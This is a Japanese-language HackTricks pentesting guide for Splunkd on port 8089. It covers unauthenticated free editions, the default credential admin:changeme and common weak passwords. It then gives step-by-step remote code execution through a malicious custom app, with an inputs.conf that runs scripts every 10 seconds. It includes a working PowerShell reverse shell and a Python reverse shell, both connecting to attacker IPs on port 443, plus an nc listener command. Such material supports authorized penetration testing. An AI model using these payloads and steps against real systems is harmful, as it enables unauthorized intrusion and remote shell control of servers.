hacktricks/network-services-pentesting/8089-splunkd.md
2023-07-07 23:42:27 +00:00

11 KiB
Raw Blame History

8089 - Splunkdのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

Splunkは、データを収集、分析、可視化するためのログ分析ツールです。元々SIEMツールとして意図されていなかったものの、Splunkはセキュリティモニタリングとビジネス分析によく使用されます。Splunkの展開では、機密データが保管されることがあり、攻撃者にとっては豊富な情報源となる可能性があります。

デフォルトポート: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Splunkのウェブサーバーはデフォルトでポート8000で実行されます。 {% endhint %}

列挙

無料版

Splunk Enterpriseの試用版は60日後に無料版に変換され、認証は必要ありません。システム管理者がSplunkの試用版をインストールしてテストすることは珍しくありませんが、その後忘れられることがあります。これにより、環境にセキュリティホールが導入され、認証の形式がない無料版に自動的に変換されます。予算の制約により、一部の組織は無料版を選択する場合がありますが、ユーザー/ロール管理の重要性を十分に理解していない場合があります。

デフォルトの資格情報

古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme**であり、ログインページに便利に表示されます。
ただし、最新バージョンのSplunkでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、adminWelcomeWelcome1Password123などの一般的な弱いパスワードを確認する価値があります。

情報の取得

Splunkにログインすると、データを閲覧したり、レポートを実行したり、ダッシュボードを作成したり、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。
また、Splunkではコードを実行することもできます。Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、複数のコード実行方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。

さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。

Shodan

  • Splunkビルド

RCE

カスタムアプリケーションの作成

カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。
注意点として、SplunkにはPythonがインストールされているため、WindowsシステムでもPythonコードを実行できます。

こちらのSplunkパッケージを使用して、手助けをします。このリポジトリの**bin**ディレクトリには、PythonPowerShellの例があります。以下、ステップバイステップで進めていきましょう。

これを実現するために、まず以下のディレクトリ構造でカスタムSplunkアプリケーションを作成する必要があります

tree splunk_shell/

splunk_shell/
├── bin
└── default

binディレクトリには、実行するスクリプト(この場合はPowerShellのリバースシェル)が含まれており、デフォルトのディレクトリにはinputs.confファイルがあります。私たちのリバースシェルは、PowerShellのワンライナーです:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.confファイルは、Splunkにどのスクリプトを実行するかとその他の条件を指定します。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位で指定され、この設定が存在する場合にのみ、入力スクリプトが実行されます。

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

必要なのは、アプリケーションが展開されたときに実行され、PowerShellのワンライナーを実行する.batファイルです。

次のステップは、Install app from fileを選択し、アプリケーションをアップロードすることです。

悪意のあるカスタムアプリをアップロードする前に、Netcatまたはsocatを使用してリスナーを開始しましょう。

sudo nc -lnvp 443

listening on [any] 443 ...

アプリのアップロードページで、参照をクリックし、先に作成したtarボールを選択し、アップロードをクリックします。アプリケーションのステータスが有効に自動的に切り替わるため、アプリケーションをアップロードするとすぐに逆シェルが受信されます。

Linux

もしLinuxホストを扱っている場合、カスタムの悪意のあるアプリを作成してtarボールをアップロードする前に、rev.pyのPythonスクリプトを編集する必要があります。それ以外のプロセスは同じであり、Netcatリスナーで逆シェル接続を受け取り、操作を開始することができます。

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & 特権昇格

次のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかについて説明しています:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥